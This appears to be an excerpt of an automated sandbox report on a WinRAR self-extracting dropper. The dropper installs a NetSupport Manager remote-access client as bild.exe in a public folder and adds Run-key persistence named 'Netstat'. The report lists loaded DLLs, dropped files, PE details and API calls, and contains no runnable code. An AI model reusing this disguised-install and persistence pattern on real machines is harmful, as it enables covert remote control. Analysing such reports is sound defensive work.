Source: C:\Users\Public\Netstat\bild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File written: C:\Users\Public\Netstat\client32.ini

Jump to behavior

Source: C:\Users\Public\Netstat\bild.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static file information: File size 2138135 > 1048576

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Jump to behavior

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
Source:	Binary string: msvcr100.i386.pdb source: bild.exe, bild.exe, 00000005.00000002.4163625872.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, bild.exe, 00000006.00000002.1828393967.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, bild.exe, 0000000A.00000002.1909924839.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, bild.exe, 0000000B.00000002.1989498636.000000006C7C1000.00000020.00000001.01000000.0000000D.sdmp, msvcr100.dll.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: bild.exe, 00000005.00000002.4163937013.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, bild.exe, 00000006.00000002.1828654414.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, bild.exe, 0000000A.00000002.1910320123.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, bild.exe, 0000000B.00000002.1989707601.000000006F982000.00000002.00000001.01000000.0000000B.sdmp, PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: bild.exe, 00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000005.00000000.1712834967.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000006.00000000.1825297800.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000006.00000002.1826623935.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000A.00000002.1908011994.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000A.00000000.1906094191.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000B.00000000.1987565229.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 0000000B.00000002.1988599605.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, bild.exe.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: bild.exe, 00000005.00000002.4163812487.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, bild.exe, 00000006.00000002.1828564621.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, bild.exe, 0000000A.00000002.1910207199.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, bild.exe, 0000000B.00000002.1989634737.000000006CEF5000.00000002.00000001.01000000.0000000C.sdmp, pcicapi.dll.0.dr

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11029590 GetTickCount,LoadLibraryA,GetProcAddress,InternetCloseHandle,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

5_2_11029590

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File created: C:\Users\Public\Netstat\__tmp_rar_sfx_access_check_5615000

Jump to behavior

Source: PCICL32.DLL.0.dr

Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8D8B6 push ecx; ret	0_2_00D8D8C9
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8CDF0 push eax; ret	0_2_00D8CE0E
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1116F055 push ecx; ret	5_2_1116F068
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11169F49 push ecx; ret	5_2_11169F5C
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11040E01 push 3BFFFFFEh; ret	5_2_11040E06
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C606BBF push ecx; ret	5_2_6C606BD2
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5F94C5 push ecx; ret	5_2_6C5F94D8
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5F8377 push 3BFFFFFFh; retf	5_2_6C5F837C
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5FE36C push edi; ret	5_2_6C5FE37B
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1116F055 push ecx; ret	6_2_1116F068
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11169F49 push ecx; ret	6_2_11169F5C
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11040E01 push 3BFFFFFEh; ret	6_2_11040E06

Source: msvcr100.dll.0.dr

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\bild.exe	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\PCICHEK.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	File created: C:\Users\Public\Netstat\PCICL32.DLL	Jump to dropped file

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5E7030 ctl_open,LoadLibraryA,InitializeCriticalSection,CreateEventA,CreateEventA,CreateEventA,CreateEventA,WSAStartup,_malloc,_memset,_calloc,_malloc,_memset,_malloc,_memset,GetTickCount,CreateThread,SetThreadPriority,GetModuleFileNameA,GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,timeBeginPeriod,	5_2_6C5E7030
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5D5490 GetPrivateProfileIntA,	5_2_6C5D5490
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5D50E0 CreateFileA,wsprintfA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	5_2_6C5D50E0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5D5117 GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	5_2_6C5D5117

Source: C:\Users\Public\Netstat\bild.exe

5_2_11127E10

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11139090 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	5_2_11139090
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1115B1D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	5_2_1115B1D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11113290 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	5_2_11113290
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	5_2_110CB2B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	5_2_110CB2B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110254A0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	5_2_110254A0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110258F0 IsIconic,BringWindowToTop,GetCurrentThreadId,	5_2_110258F0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11023BA0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	5_2_11023BA0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11024280 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	5_2_11024280
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11112670 IsIconic,GetTickCount,	5_2_11112670
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	5_2_111229D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	5_2_111229D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110C0BB0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	5_2_110C0BB0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	5_2_1115ADD0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	5_2_1115ADD0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1115B1D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	6_2_1115B1D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11139090 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	6_2_11139090
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11113290 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	6_2_11113290
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	6_2_110CB2B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	6_2_110CB2B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110254A0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	6_2_110254A0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110258F0 IsIconic,BringWindowToTop,GetCurrentThreadId,	6_2_110258F0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11023BA0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	6_2_11023BA0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11024280 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	6_2_11024280
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11112670 IsIconic,GetTickCount,	6_2_11112670
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	6_2_111229D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	6_2_111229D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110C0BB0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	6_2_110C0BB0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	6_2_1115ADD0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	6_2_1115ADD0

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11143570 GetTickCount,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_11143570

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

